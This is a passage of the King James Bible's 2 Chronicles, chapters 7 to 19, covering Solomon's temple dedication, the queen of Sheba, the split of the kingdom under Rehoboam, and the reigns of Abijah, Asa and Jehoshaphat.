LORD, because his mercy endureth for ever, when David +praised by their ministry; and the priests sounded trumpets before +them, and all Israel stood. + +7:7 Moreover Solomon hallowed the middle of the court that was before +the house of the LORD: for there he offered burnt offerings, and the +fat of the peace offerings, because the brasen altar which Solomon had +made was not able to receive the burnt offerings, and the meat +offerings, and the fat. + +7:8 Also at the same time Solomon kept the feast seven days, and all +Israel with him, a very great congregation, from the entering in of +Hamath unto the river of Egypt. + +7:9 And in the eighth day they made a solemn assembly: for they kept +the dedication of the altar seven days, and the feast seven days. + +7:10 And on the three and twentieth day of the seventh month he sent +the people away into their tents, glad and merry in heart for the +goodness that the LORD had shewed unto David, and to Solomon, and to +Israel his people. + +7:11 Thus Solomon finished the house of the LORD, and the king's +house: and all that came into Solomon's heart to make in the house of +the LORD, and in his own house, he prosperously effected. + +7:12 And the LORD appeared to Solomon by night, and said unto him, I +have heard thy prayer, and have chosen this place to myself for an +house of sacrifice. + +7:13 If I shut up heaven that there be no rain, or if I command the +locusts to devour the land, or if I send pestilence among my people; +7:14 If my people, which are called by my name, shall humble +themselves, and pray, and seek my face, and turn from their wicked +ways; then will I hear from heaven, and will forgive their sin, and +will heal their land. + +7:15 Now mine eyes shall be open, and mine ears attent unto the prayer +that is made in this place. + +7:16 For now have I chosen and sanctified this house, that my name may +be there for ever: and mine eyes and mine heart shall be there +perpetually. + +7:17 And as for thee, if thou wilt walk before me, as David thy father +walked, and do according to all that I have commanded thee, and shalt +observe my statutes and my judgments; 7:18 Then will I stablish the +throne of thy kingdom, according as I have covenanted with David thy +father, saying, There shall not fail thee a man to be ruler in Israel. + +7:19 But if ye turn away, and forsake my statutes and my commandments, +which I have set before you, and shall go and serve other gods, and +worship them; 7:20 Then will I pluck them up by the roots out of my +land which I have given them; and this house, which I have sanctified +for my name, will I cast out of my sight, and will make it to be a +proverb and a byword among all nations. + +7:21 And this house, which is high, shall be an astonishment to every +one that passeth by it; so that he shall say, Why hath the LORD done +thus unto this land, and unto this house? 7:22 And it shall be +answered, Because they forsook the LORD God of their fathers, which +brought them forth out of the land of Egypt, and laid hold on other +gods, and worshipped them, and served them: therefore hath he brought +all this evil upon them. + +8:1 And it came to pass at the end of twenty years, wherein Solomon +had built the house of the LORD, and his own house, 8:2 That the +cities which Huram had restored to Solomon, Solomon built them, and +caused the children of Israel to dwell there. + +8:3 And Solomon went to Hamathzobah, and prevailed against it. + +8:4 And he built Tadmor in the wilderness, and all the store cities, +which he built in Hamath. + +8:5 Also he built Bethhoron the upper, and Bethhoron the nether, +fenced cities, with walls, gates, and bars; 8:6 And Baalath, and all +the store cities that Solomon had, and all the chariot cities, and the +cities of the horsemen, and all that Solomon desired to build in +Jerusalem, and in Lebanon, and throughout all the land of his +dominion. + +8:7 As for all the people that were left of the Hittites, and the +Amorites, and the Perizzites, and the Hivites, and the Jebusites, +which were not of Israel, 8:8 But of their children, who were left +after them in the land, whom the children of Israel consumed not, them +did Solomon make to pay tribute until this day. + +8:9 But of the children of Israel did Solomon make no servants for his +work; but they were men of war, and chief of his captains, and +captains of his chariots and horsemen. + +8:10 And these were the chief of king Solomon's officers, even two +hundred and fifty, that bare rule over the people. + +8:11 And Solomon brought up the daughter of Pharaoh out of the city of +David unto the house that he had built for her: for he said, My wife +shall not dwell in the house of David king of Israel, because the +places are holy, whereunto the ark of the LORD hath come. + +8:12 Then Solomon offered burnt offerings unto the LORD on the altar +of the LORD, which he had built before the porch, 8:13 Even after a +certain rate every day, offering according to the commandment of +Moses, on the sabbaths, and on the new moons, and on the solemn +feasts, three times in the year, even in the feast of unleavened +bread, and in the feast of weeks, and in the feast of tabernacles. + +8:14 And he appointed, according to the order of David his father, the +courses of the priests to their service, and the Levites to their +charges, to praise and minister before the priests, as the duty of +every day required: the porters also by their courses at every gate: +for so had David the man of God commanded. + +8:15 And they departed not from the commandment of the king unto the +priests and Levites concerning any matter, or concerning the +treasures. + +8:16 Now all the work of Solomon was prepared unto the day of the +foundation of the house of the LORD, and until it was finished. So the +house of the LORD was perfected. + +8:17 Then went Solomon to Eziongeber, and to Eloth, at the sea side in +the land of Edom. + +8:18 And Huram sent him by the hands of his servants ships, and +servants that had knowledge of the sea; and they went with the +servants of Solomon to Ophir, and took thence four hundred and fifty +talents of gold, and brought them to king Solomon. + +9:1 And when the queen of Sheba heard of the fame of Solomon, she came +to prove Solomon with hard questions at Jerusalem, with a very great +company, and camels that bare spices, and gold in abundance, and +precious stones: and when she was come to Solomon, she communed with +him of all that was in her heart. + +9:2 And Solomon told her all her questions: and there was nothing hid +from Solomon which he told her not. + +9:3 And when the queen of Sheba had seen the wisdom of Solomon, and +the house that he had built, 9:4 And the meat of his table, and the +sitting of his servants, and the attendance of his ministers, and +their apparel; his cupbearers also, and their apparel; and his ascent +by which he went up into the house of the LORD; there was no more +spirit in her. + +9:5 And she said to the king, It was a true report which I heard in +mine own land of thine acts, and of thy wisdom: 9:6 Howbeit I believed +not their words, until I came, and mine eyes had seen it: and, behold, +the one half of the greatness of thy wisdom was not told me: for thou +exceedest the fame that I heard. + +9:7 Happy are thy men, and happy are these thy servants, which stand +continually before thee, and hear thy wisdom. + +9:8 Blessed be the LORD thy God, which delighted in thee to set thee +on his throne, to be king for the LORD thy God: because thy God loved +Israel, to establish them for ever, therefore made he thee king over +them, to do judgment and justice. + +9:9 And she gave the king an hundred and twenty talents of gold, and +of spices great abundance, and precious stones: neither was there any +such spice as the queen of Sheba gave king Solomon. + +9:10 And the servants also of Huram, and the servants of Solomon, +which brought gold from Ophir, brought algum trees and precious +stones. + +9:11 And the king made of the algum trees terraces to the house of the +LORD, and to the king's palace, and harps and psalteries for singers: +and there were none such seen before in the land of Judah. + +9:12 And king Solomon gave to the queen of Sheba all her desire, +whatsoever she asked, beside that which she had brought unto the king. +So she turned, and went away to her own land, she and her servants. + +9:13 Now the weight of gold that came to Solomon in one year was six +hundred and threescore and six talents of gold; 9:14 Beside that which +chapmen and merchants brought. And all the kings of Arabia and +governors of the country brought gold and silver to Solomon. + +9:15 And king Solomon made two hundred targets of beaten gold: six +hundred shekels of beaten gold went to one target. + +9:16 And three hundred shields made he of beaten gold: three hundred +shekels of gold went to one shield. And the king put them in the house +of the forest of Lebanon. + +9:17 Moreover the king made a great throne of ivory, and overlaid it +with pure gold. + +9:18 And there were six steps to the throne, with a footstool of gold, +which were fastened to the throne, and stays on each side of the +sitting place, and two lions standing by the stays: 9:19 And twelve +lions stood there on the one side and on the other upon the six steps. +There was not the like made in any kingdom. + +9:20 And all the drinking vessels of king Solomon were of gold, and +all the vessels of the house of the forest of Lebanon were of pure +gold: none were of silver; it was not any thing accounted of in the +days of Solomon. + +9:21 For the king's ships went to Tarshish with the servants of Huram: +every three years once came the ships of Tarshish bringing gold, and +silver, ivory, and apes, and peacocks. + +9:22 And king Solomon passed all the kings of the earth in riches and +wisdom. + +9:23 And all the kings of the earth sought the presence of Solomon, to +hear his wisdom, that God had put in his heart. + +9:24 And they brought every man his present, vessels of silver, and +vessels of gold, and raiment, harness, and spices, horses, and mules, +a rate year by year. + +9:25 And Solomon had four thousand stalls for horses and chariots, and +twelve thousand horsemen; whom he bestowed in the chariot cities, and +with the king at Jerusalem. + +9:26 And he reigned over all the kings from the river even unto the +land of the Philistines, and to the border of Egypt. + +9:27 And the king made silver in Jerusalem as stones, and cedar trees +made he as the sycomore trees that are in the low plains in abundance. + +9:28 And they brought unto Solomon horses out of Egypt, and out of all +lands. + +9:29 Now the rest of the acts of Solomon, first and last, are they not +written in the book of Nathan the prophet, and in the prophecy of +Ahijah the Shilonite, and in the visions of Iddo the seer against +Jeroboam the son of Nebat? 9:30 And Solomon reigned in Jerusalem over +all Israel forty years. + +9:31 And Solomon slept with his fathers, and he was buried in the city +of David his father: and Rehoboam his son reigned in his stead. + +10:1 And Rehoboam went to Shechem: for to Shechem were all Israel come +to make him king. + +10:2 And it came to pass, when Jeroboam the son of Nebat, who was in +Egypt, whither he fled from the presence of Solomon the king, heard +it, that Jeroboam returned out of Egypt. + +10:3 And they sent and called him. So Jeroboam and all Israel came and +spake to Rehoboam, saying, 10:4 Thy father made our yoke grievous: now +therefore ease thou somewhat the grievous servitude of thy father, and +his heavy yoke that he put upon us, and we will serve thee. + +10:5 And he said unto them, Come again unto me after three days. And +the people departed. + +10:6 And king Rehoboam took counsel with the old men that had stood +before Solomon his father while he yet lived, saying, What counsel +give ye me to return answer to this people? 10:7 And they spake unto +him, saying, If thou be kind to this people, and please them, and +speak good words to them, they will be thy servants for ever. + +10:8 But he forsook the counsel which the old men gave him, and took +counsel with the young men that were brought up with him, that stood +before him. + +10:9 And he said unto them, What advice give ye that we may return +answer to this people, which have spoken to me, saying, Ease somewhat +the yoke that thy father did put upon us? 10:10 And the young men +that were brought up with him spake unto him, saying, Thus shalt thou +answer the people that spake unto thee, saying, Thy father made our +yoke heavy, but make thou it somewhat lighter for us; thus shalt thou +say unto them, My little finger shall be thicker than my father's +loins. + +10:11 For whereas my father put a heavy yoke upon you, I will put more +to your yoke: my father chastised you with whips, but I will chastise +you with scorpions. + +10:12 So Jeroboam and all the people came to Rehoboam on the third +day, as the king bade, saying, Come again to me on the third day. + +10:13 And the king answered them roughly; and king Rehoboam forsook +the counsel of the old men, 10:14 And answered them after the advice +of the young men, saying, My father made your yoke heavy, but I will +add thereto: my father chastised you with whips, but I will chastise +you with scorpions. + +10:15 So the king hearkened not unto the people: for the cause was of +God, that the LORD might perform his word, which he spake by the hand +of Ahijah the Shilonite to Jeroboam the son of Nebat. + +10:16 And when all Israel saw that the king would not hearken unto +them, the people answered the king, saying, What portion have we in +David? and we have none inheritance in the son of Jesse: every man to +your tents, O Israel: and now, David, see to thine own house. So all +Israel went to their tents. + +10:17 But as for the children of Israel that dwelt in the cities of +Judah, Rehoboam reigned over them. + +10:18 Then king Rehoboam sent Hadoram that was over the tribute; and +the children of Israel stoned him with stones, that he died. But king +Rehoboam made speed to get him up to his chariot, to flee to +Jerusalem. + +10:19 And Israel rebelled against the house of David unto this day. + +11:1 And when Rehoboam was come to Jerusalem, he gathered of the house +of Judah and Benjamin an hundred and fourscore thousand chosen men, +which were warriors, to fight against Israel, that he might bring the +kingdom again to Rehoboam. + +11:2 But the word of the LORD came to Shemaiah the man of God, saying, +11:3 Speak unto Rehoboam the son of Solomon, king of Judah, and to all +Israel in Judah and Benjamin, saying, 11:4 Thus saith the LORD, Ye +shall not go up, nor fight against your brethren: return every man to +his house: for this thing is done of me. And they obeyed the words of +the LORD, and returned from going against Jeroboam. + +11:5 And Rehoboam dwelt in Jerusalem, and built cities for defence in +Judah. + +11:6 He built even Bethlehem, and Etam, and Tekoa, 11:7 And Bethzur, +and Shoco, and Adullam, 11:8 And Gath, and Mareshah, and Ziph, 11:9 +And Adoraim, and Lachish, and Azekah, 11:10 And Zorah, and Aijalon, +and Hebron, which are in Judah and in Benjamin fenced cities. + +11:11 And he fortified the strong holds, and put captains in them, and +store of victual, and of oil and wine. + +11:12 And in every several city he put shields and spears, and made +them exceeding strong, having Judah and Benjamin on his side. + +11:13 And the priests and the Levites that were in all Israel resorted +to him out of all their coasts. + +11:14 For the Levites left their suburbs and their possession, and +came to Judah and Jerusalem: for Jeroboam and his sons had cast them +off from executing the priest's office unto the LORD: 11:15 And he +ordained him priests for the high places, and for the devils, and for +the calves which he had made. + +11:16 And after them out of all the tribes of Israel such as set their +hearts to seek the LORD God of Israel came to Jerusalem, to sacrifice +unto the LORD God of their fathers. + +11:17 So they strengthened the kingdom of Judah, and made Rehoboam the +son of Solomon strong, three years: for three years they walked in the +way of David and Solomon. + +11:18 And Rehoboam took him Mahalath the daughter of Jerimoth the son +of David to wife, and Abihail the daughter of Eliab the son of Jesse; +11:19 Which bare him children; Jeush, and Shamariah, and Zaham. + +11:20 And after her he took Maachah the daughter of Absalom; which +bare him Abijah, and Attai, and Ziza, and Shelomith. + +11:21 And Rehoboam loved Maachah the daughter of Absalom above all his +wives and his concubines: (for he took eighteen wives, and threescore +concubines; and begat twenty and eight sons, and threescore +daughters.) 11:22 And Rehoboam made Abijah the son of Maachah the +chief, to be ruler among his brethren: for he thought to make him +king. + +11:23 And he dealt wisely, and dispersed of all his children +throughout all the countries of Judah and Benjamin, unto every fenced +city: and he gave them victual in abundance. And he desired many +wives. + +12:1 And it came to pass, when Rehoboam had established the kingdom, +and had strengthened himself, he forsook the law of the LORD, and all +Israel with him. + +12:2 And it came to pass, that in the fifth year of king Rehoboam +Shishak king of Egypt came up against Jerusalem, because they had +transgressed against the LORD, 12:3 With twelve hundred chariots, and +threescore thousand horsemen: and the people were without number that +came with him out of Egypt; the Lubims, the Sukkiims, and the +Ethiopians. + +12:4 And he took the fenced cities which pertained to Judah, and came +to Jerusalem. + +12:5 Then came Shemaiah the prophet to Rehoboam, and to the princes of +Judah, that were gathered together to Jerusalem because of Shishak, +and said unto them, Thus saith the LORD, Ye have forsaken me, and +therefore have I also left you in the hand of Shishak. + +12:6 Whereupon the princes of Israel and the king humbled themselves; +and they said, The LORD is righteous. + +12:7 And when the LORD saw that they humbled themselves, the word of +the LORD came to Shemaiah, saying, They have humbled themselves; +therefore I will not destroy them, but I will grant them some +deliverance; and my wrath shall not be poured out upon Jerusalem by +the hand of Shishak. + +12:8 Nevertheless they shall be his servants; that they may know my +service, and the service of the kingdoms of the countries. + +12:9 So Shishak king of Egypt came up against Jerusalem, and took away +the treasures of the house of the LORD, and the treasures of the +king's house; he took all: he carried away also the shields of gold +which Solomon had made. + +12:10 Instead of which king Rehoboam made shields of brass, and +committed them to the hands of the chief of the guard, that kept the +entrance of the king's house. + +12:11 And when the king entered into the house of the LORD, the guard +came and fetched them, and brought them again into the guard chamber. + +12:12 And when he humbled himself, the wrath of the LORD turned from +him, that he would not destroy him altogether: and also in Judah +things went well. + +12:13 So king Rehoboam strengthened himself in Jerusalem, and reigned: +for Rehoboam was one and forty years old when he began to reign, and +he reigned seventeen years in Jerusalem, the city which the LORD had +chosen out of all the tribes of Israel, to put his name there. And his +mother's name was Naamah an Ammonitess. + +12:14 And he did evil, because he prepared not his heart to seek the +LORD. + +12:15 Now the acts of Rehoboam, first and last, are they not written +in the book of Shemaiah the prophet, and of Iddo the seer concerning +genealogies? And there were wars between Rehoboam and Jeroboam +continually. + +12:16 And Rehoboam slept with his fathers, and was buried in the city +of David: and Abijah his son reigned in his stead. + +13:1 Now in the eighteenth year of king Jeroboam began Abijah to reign +over Judah. + +13:2 He reigned three years in Jerusalem. His mother's name also was +Michaiah the daughter of Uriel of Gibeah. And there was war between +Abijah and Jeroboam. + +13:3 And Abijah set the battle in array with an army of valiant men of +war, even four hundred thousand chosen men: Jeroboam also set the +battle in array against him with eight hundred thousand chosen men, +being mighty men of valour. + +13:4 And Abijah stood up upon mount Zemaraim, which is in mount +Ephraim, and said, Hear me, thou Jeroboam, and all Israel; 13:5 Ought +ye not to know that the LORD God of Israel gave the kingdom over +Israel to David for ever, even to him and to his sons by a covenant of +salt? 13:6 Yet Jeroboam the son of Nebat, the servant of Solomon the +son of David, is risen up, and hath rebelled against his lord. + +13:7 And there are gathered unto him vain men, the children of Belial, +and have strengthened themselves against Rehoboam the son of Solomon, +when Rehoboam was young and tenderhearted, and could not withstand +them. + +13:8 And now ye think to withstand the kingdom of the LORD in the hand +of the sons of David; and ye be a great multitude, and there are with +your golden calves, which Jeroboam made you for gods. + +13:9 Have ye not cast out the priests of the LORD, the sons of Aaron, +and the Levites, and have made you priests after the manner of the +nations of other lands? so that whosoever cometh to consecrate himself +with a young bullock and seven rams, the same may be a priest of them +that are no gods. + +13:10 But as for us, the LORD is our God, and we have not forsaken +him; and the priests, which minister unto the LORD, are the sons of +Aaron, and the Levites wait upon their business: 13:11 And they burn +unto the LORD every morning and every evening burnt sacrifices and +sweet incense: the shewbread also set they in order upon the pure +table; and the candlestick of gold with the lamps thereof, to burn +every evening: for we keep the charge of the LORD our God; but ye have +forsaken him. + +13:12 And, behold, God himself is with us for our captain, and his +priests with sounding trumpets to cry alarm against you. O children of +Israel, fight ye not against the LORD God of your fathers; for ye +shall not prosper. + +13:13 But Jeroboam caused an ambushment to come about behind them: so +they were before Judah, and the ambushment was behind them. + +13:14 And when Judah looked back, behold, the battle was before and +behind: and they cried unto the LORD, and the priests sounded with the +trumpets. + +13:15 Then the men of Judah gave a shout: and as the men of Judah +shouted, it came to pass, that God smote Jeroboam and all Israel +before Abijah and Judah. + +13:16 And the children of Israel fled before Judah: and God delivered +them into their hand. + +13:17 And Abijah and his people slew them with a great slaughter: so +there fell down slain of Israel five hundred thousand chosen men. + +13:18 Thus the children of Israel were brought under at that time, and +the children of Judah prevailed, because they relied upon the LORD God +of their fathers. + +13:19 And Abijah pursued after Jeroboam, and took cities from him, +Bethel with the towns thereof, and Jeshanah with the towns thereof, +and Ephraim with the towns thereof. + +13:20 Neither did Jeroboam recover strength again in the days of +Abijah: and the LORD struck him, and he died. + +13:21 But Abijah waxed mighty, and married fourteen wives, and begat +twenty and two sons, and sixteen daughters. + +13:22 And the rest of the acts of Abijah, and his ways, and his +sayings, are written in the story of the prophet Iddo. + +14:1 So Abijah slept with his fathers, and they buried him in the city +of David: and Asa his son reigned in his stead. In his days the land +was quiet ten years. + +14:2 And Asa did that which was good and right in the eyes of the LORD +his God: 14:3 For he took away the altars of the strange gods, and the +high places, and brake down the images, and cut down the groves: 14:4 +And commanded Judah to seek the LORD God of their fathers, and to do +the law and the commandment. + +14:5 Also he took away out of all the cities of Judah the high places +and the images: and the kingdom was quiet before him. + +14:6 And he built fenced cities in Judah: for the land had rest, and +he had no war in those years; because the LORD had given him rest. + +14:7 Therefore he said unto Judah, Let us build these cities, and make +about them walls, and towers, gates, and bars, while the land is yet +before us; because we have sought the LORD our God, we have sought +him, and he hath given us rest on every side. So they built and +prospered. + +14:8 And Asa had an army of men that bare targets and spears, out of +Judah three hundred thousand; and out of Benjamin, that bare shields +and drew bows, two hundred and fourscore thousand: all these were +mighty men of valour. + +14:9 And there came out against them Zerah the Ethiopian with an host +of a thousand thousand, and three hundred chariots; and came unto +Mareshah. + +14:10 Then Asa went out against him, and they set the battle in array +in the valley of Zephathah at Mareshah. + +14:11 And Asa cried unto the LORD his God, and said, LORD, it is +nothing with thee to help, whether with many, or with them that have +no power: help us, O LORD our God; for we rest on thee, and in thy +name we go against this multitude. O LORD, thou art our God; let no +man prevail against thee. + +14:12 So the LORD smote the Ethiopians before Asa, and before Judah; +and the Ethiopians fled. + +14:13 And Asa and the people that were with him pursued them unto +Gerar: and the Ethiopians were overthrown, that they could not recover +themselves; for they were destroyed before the LORD, and before his +host; and they carried away very much spoil. + +14:14 And they smote all the cities round about Gerar; for the fear of +the LORD came upon them: and they spoiled all the cities; for there +was exceeding much spoil in them. + +14:15 They smote also the tents of cattle, and carried away sheep and +camels in abundance, and returned to Jerusalem. + +15:1 And the Spirit of God came upon Azariah the son of Oded: 15:2 And +he went out to meet Asa, and said unto him, Hear ye me, Asa, and all +Judah and Benjamin; The LORD is with you, while ye be with him; and if +ye seek him, he will be found of you; but if ye forsake him, he will +forsake you. + +15:3 Now for a long season Israel hath been without the true God, and +without a teaching priest, and without law. + +15:4 But when they in their trouble did turn unto the LORD God of +Israel, and sought him, he was found of them. + +15:5 And in those times there was no peace to him that went out, nor +to him that came in, but great vexations were upon all the inhabitants +of the countries. + +15:6 And nation was destroyed of nation, and city of city: for God did +vex them with all adversity. + +15:7 Be ye strong therefore, and let not your hands be weak: for your +work shall be rewarded. + +15:8 And when Asa heard these words, and the prophecy of Oded the +prophet, he took courage, and put away the abominable idols out of all +the land of Judah and Benjamin, and out of the cities which he had +taken from mount Ephraim, and renewed the altar of the LORD, that was +before the porch of the LORD. + +15:9 And he gathered all Judah and Benjamin, and the strangers with +them out of Ephraim and Manasseh, and out of Simeon: for they fell to +him out of Israel in abundance, when they saw that the LORD his God +was with him. + +15:10 So they gathered themselves together at Jerusalem in the third +month, in the fifteenth year of the reign of Asa. + +15:11 And they offered unto the LORD the same time, of the spoil which +they had brought, seven hundred oxen and seven thousand sheep. + +15:12 And they entered into a covenant to seek the LORD God of their +fathers with all their heart and with all their soul; 15:13 That +whosoever would not seek the LORD God of Israel should be put to +death, whether small or great, whether man or woman. + +15:14 And they sware unto the LORD with a loud voice, and with +shouting, and with trumpets, and with cornets. + +15:15 And all Judah rejoiced at the oath: for they had sworn with all +their heart, and sought him with their whole desire; and he was found +of them: and the LORD gave them rest round about. + +15:16 And also concerning Maachah the mother of Asa the king, he +removed her from being queen, because she had made an idol in a grove: +and Asa cut down her idol, and stamped it, and burnt it at the brook +Kidron. + +15:17 But the high places were not taken away out of Israel: +nevertheless the heart of Asa was perfect all his days. + +15:18 And he brought into the house of God the things that his father +had dedicated, and that he himself had dedicated, silver, and gold, +and vessels. + +15:19 And there was no more war unto the five and thirtieth year of +the reign of Asa. + +16:1 In the six and thirtieth year of the reign of Asa Baasha king of +Israel came up against Judah, and built Ramah, to the intent that he +might let none go out or come in to Asa king of Judah. + +16:2 Then Asa brought out silver and gold out of the treasures of the +house of the LORD and of the king's house, and sent to Benhadad king +of Syria, that dwelt at Damascus, saying, 16:3 There is a league +between me and thee, as there was between my father and thy father: +behold, I have sent thee silver and gold; go, break thy league with +Baasha king of Israel, that he may depart from me. + +16:4 And Benhadad hearkened unto king Asa, and sent the captains of +his armies against the cities of Israel; and they smote Ijon, and Dan, +and Abelmaim, and all the store cities of Naphtali. + +16:5 And it came to pass, when Baasha heard it, that he left off +building of Ramah, and let his work cease. + +16:6 Then Asa the king took all Judah; and they carried away the +stones of Ramah, and the timber thereof, wherewith Baasha was +building; and he built therewith Geba and Mizpah. + +16:7 And at that time Hanani the seer came to Asa king of Judah, and +said unto him, Because thou hast relied on the king of Syria, and not +relied on the LORD thy God, therefore is the host of the king of Syria +escaped out of thine hand. + +16:8 Were not the Ethiopians and the Lubims a huge host, with very +many chariots and horsemen? yet, because thou didst rely on the LORD, +he delivered them into thine hand. + +16:9 For the eyes of the LORD run to and fro throughout the whole +earth, to shew himself strong in the behalf of them whose heart is +perfect toward him. Herein thou hast done foolishly: therefore from +henceforth thou shalt have wars. + +16:10 Then Asa was wroth with the seer, and put him in a prison house; +for he was in a rage with him because of this thing. And Asa oppressed +some of the people the same time. + +16:11 And, behold, the acts of Asa, first and last, lo, they are +written in the book of the kings of Judah and Israel. + +16:12 And Asa in the thirty and ninth year of his reign was diseased +in his feet, until his disease was exceeding great: yet in his disease +he sought not to the LORD, but to the physicians. + +16:13 And Asa slept with his fathers, and died in the one and fortieth +year of his reign. + +16:14 And they buried him in his own sepulchres, which he had made for +himself in the city of David, and laid him in the bed which was filled +with sweet odours and divers kinds of spices prepared by the +apothecaries' art: and they made a very great burning for him. + +17:1 And Jehoshaphat his son reigned in his stead, and strengthened +himself against Israel. + +17:2 And he placed forces in all the fenced cities of Judah, and set +garrisons in the land of Judah, and in the cities of Ephraim, which +Asa his father had taken. + +17:3 And the LORD was with Jehoshaphat, because he walked in the first +ways of his father David, and sought not unto Baalim; 17:4 But sought +to the Lord God of his father, and walked in his commandments, and not +after the doings of Israel. + +17:5 Therefore the LORD stablished the kingdom in his hand; and all +Judah brought to Jehoshaphat presents; and he had riches and honour in +abundance. + +17:6 And his heart was lifted up in the ways of the LORD: moreover he +took away the high places and groves out of Judah. + +17:7 Also in the third year of his reign he sent to his princes, even +to Benhail, and to Obadiah, and to Zechariah, and to Nethaneel, and to +Michaiah, to teach in the cities of Judah. + +17:8 And with them he sent Levites, even Shemaiah, and Nethaniah, and +Zebadiah, and Asahel, and Shemiramoth, and Jehonathan, and Adonijah, +and Tobijah, and Tobadonijah, Levites; and with them Elishama and +Jehoram, priests. + +17:9 And they taught in Judah, and had the book of the law of the LORD +with them, and went about throughout all the cities of Judah, and +taught the people. + +17:10 And the fear of the LORD fell upon all the kingdoms of the lands +that were round about Judah, so that they made no war against +Jehoshaphat. + +17:11 Also some of the Philistines brought Jehoshaphat presents, and +tribute silver; and the Arabians brought him flocks, seven thousand +and seven hundred rams, and seven thousand and seven hundred he goats. + +17:12 And Jehoshaphat waxed great exceedingly; and he built in Judah +castles, and cities of store. + +17:13 And he had much business in the cities of Judah: and the men of +war, mighty men of valour, were in Jerusalem. + +17:14 And these are the numbers of them according to the house of +their fathers: Of Judah, the captains of thousands; Adnah the chief, +and with him mighty men of valour three hundred thousand. + +17:15 And next to him was Jehohanan the captain, and with him two +hundred and fourscore thousand. + +17:16 And next him was Amasiah the son of Zichri, who willingly +offered himself unto the LORD; and with him two hundred thousand +mighty men of valour. + +17:17 And of Benjamin; Eliada a mighty man of valour, and with him +armed men with bow and shield two hundred thousand. + +17:18 And next him was Jehozabad, and with him an hundred and +fourscore thousand ready prepared for the war. + +17:19 These waited on the king, beside those whom the king put in the +fenced cities throughout all Judah. + +18:1 Now Jehoshaphat had riches and honour in abundance, and joined +affinity with Ahab. + +18:2 And after certain years he went down to Ahab to Samaria. And Ahab +killed sheep and oxen for him in abundance, and for the people that he +had with him, and persuaded him to go up with him to Ramothgilead. + +18:3 And Ahab king of Israel said unto Jehoshaphat king of Judah, Wilt +thou go with me to Ramothgilead? And he answered him, I am as thou +art, and my people as thy people; and we will be with thee in the war. + +18:4 And Jehoshaphat said unto the king of Israel, Enquire, I pray +thee, at the word of the LORD to day. + +18:5 Therefore the king of Israel gathered together of prophets four +hundred men, and said unto them, Shall we go to Ramothgilead to +battle, or shall I forbear? And they said, Go up; for God will deliver +it into the king's hand. + +18:6 But Jehoshaphat said, Is there not here a prophet of the LORD +besides, that we might enquire of him? 18:7 And the king of Israel +said unto Jehoshaphat, There is yet one man, by whom we may enquire of +the LORD: but I hate him; for he never prophesied good unto me, but +always evil: the same is Micaiah the son of Imla. And Jehoshaphat +said, Let not the king say so. + +18:8 And the king of Israel called for one of his officers, and said, +Fetch quickly Micaiah the son of Imla. + +18:9 And the king of Israel and Jehoshaphat king of Judah sat either +of them on his throne, clothed in their robes, and they sat in a void +place at the entering in of the gate of Samaria; and all the prophets +prophesied before them. + +18:10 And Zedekiah the son of Chenaanah had made him horns of iron, +and said, Thus saith the LORD, With these thou shalt push Syria until +they be consumed. + +18:11 And all the prophets prophesied so, saying, Go up to +Ramothgilead, and prosper: for the LORD shall deliver it into the hand +of the king. + +18:12 And the messenger that went to call Micaiah spake to him, +saying, Behold, the words of the prophets declare good to the king +with one assent; let thy word therefore, I pray thee, be like one of +their's, and speak thou good. + +18:13 And Micaiah said, As the LORD liveth, even what my God saith, +that will I speak. + +18:14 And when he was come to the king, the king said unto him, +Micaiah, shall we go to Ramothgilead to battle, or shall I forbear? +And he said, Go ye up, and prosper, and they shall be delivered into +your hand. + +18:15 And the king said to him, How many times shall I adjure thee +that thou say nothing but the truth to me in the name of the LORD? +18:16 Then he said, I did see all Israel scattered upon the mountains, +as sheep that have no shepherd: and the LORD said, These have no +master; let them return therefore every man to his house in peace. + +18:17 And the king of Israel said to Jehoshaphat, Did I not tell thee +that he would not prophesy good unto me, but evil? 18:18 Again he +said, Therefore hear the word of the LORD; I saw the LORD sitting upon +his throne, and all the host of heaven standing on his right hand and +on his left. + +18:19 And the LORD said, Who shall entice Ahab king of Israel, that he +may go up and fall at Ramothgilead? And one spake saying after this +manner, and another saying after that manner. + +18:20 Then there came out a spirit, and stood before the LORD, and +said, I will entice him. And the LORD said unto him, Wherewith? 18:21 +And he said, I will go out, and be a lying spirit in the mouth of all +his prophets. And the Lord said, Thou shalt entice him, and thou shalt +also prevail: go out, and do even so. + +18:22 Now therefore, behold, the LORD hath put a lying spirit in the +mouth of these thy prophets, and the LORD hath spoken evil against +thee. + +18:23 Then Zedekiah the son of Chenaanah came near, and smote Micaiah +upon the cheek, and said, Which way went the Spirit of the LORD from +me to speak unto thee? 18:24 And Micaiah said, Behold, thou shalt see +on that day when thou shalt go into an inner chamber to hide thyself. + +18:25 Then the king of Israel said, Take ye Micaiah, and carry him +back to Amon the governor of the city, and to Joash the king's son; +18:26 And say, Thus saith the king, Put this fellow in the prison, and +feed him with bread of affliction and with water of affliction, until +I return in peace. + +18:27 And Micaiah said, If thou certainly return in peace, then hath +not the LORD spoken by me. And he said, Hearken, all ye people. + +18:28 So the king of Israel and Jehoshaphat the king of Judah went up +to Ramothgilead. + +18:29 And the king of Israel said unto Jehoshaphat, I will disguise +myself, and I will go to the battle; but put thou on thy robes. So the +king of Israel disguised himself; and they went to the battle. + +18:30 Now the king of Syria had commanded the captains of the chariots +that were with him, saying, Fight ye not with small or great, save +only with the king of Israel. + +18:31 And it came to pass, when the captains of the chariots saw +Jehoshaphat, that they said, It is the king of Israel. Therefore they +compassed about him to fight: but Jehoshaphat cried out, and the LORD +helped him; and God moved them to depart from him. + +18:32 For it came to pass, that, when the captains of the chariots +perceived that it was not the king of Israel, they turned back again +from pursuing him. + +18:33 And a certain man drew a bow at a venture, and smote the king of +Israel between the joints of the harness: therefore he said to his +chariot man, Turn thine hand, that thou mayest carry me out of the +host; for I am wounded. + +18:34 And the battle increased that day: howbeit the king of Israel +stayed himself up in his chariot against the Syrians until the even: +and about the time of the sun going down he died. + +19:1 And Jehoshaphat the king of Judah returned to his house in peace +to Jerusalem. + +19:2 And Jehu the son of Hanani the seer went out to meet him, and +said to king Jehoshaphat, Shouldest thou help the ungodly, and love +them that hate the LORD? therefore is wrath upon thee from before the +LORD. + +19:3 Nevertheless there are good things found in thee, in that thou +hast taken away the groves out of the land, and hast prepared thine +heart to seek God. + +19:4 And Jehoshaphat dwelt at Jerusalem: and he went out again through +the people from Beersheba to mount Ephraim, and brought them back unto +the LORD God of their fathers. + +19:5 And he set judges in the land throughout all the fenced cities of +Judah, city by city, 19:6 And said to the judges, Take heed what ye +do: for ye judge not for man, but for the LORD, who is with you in the 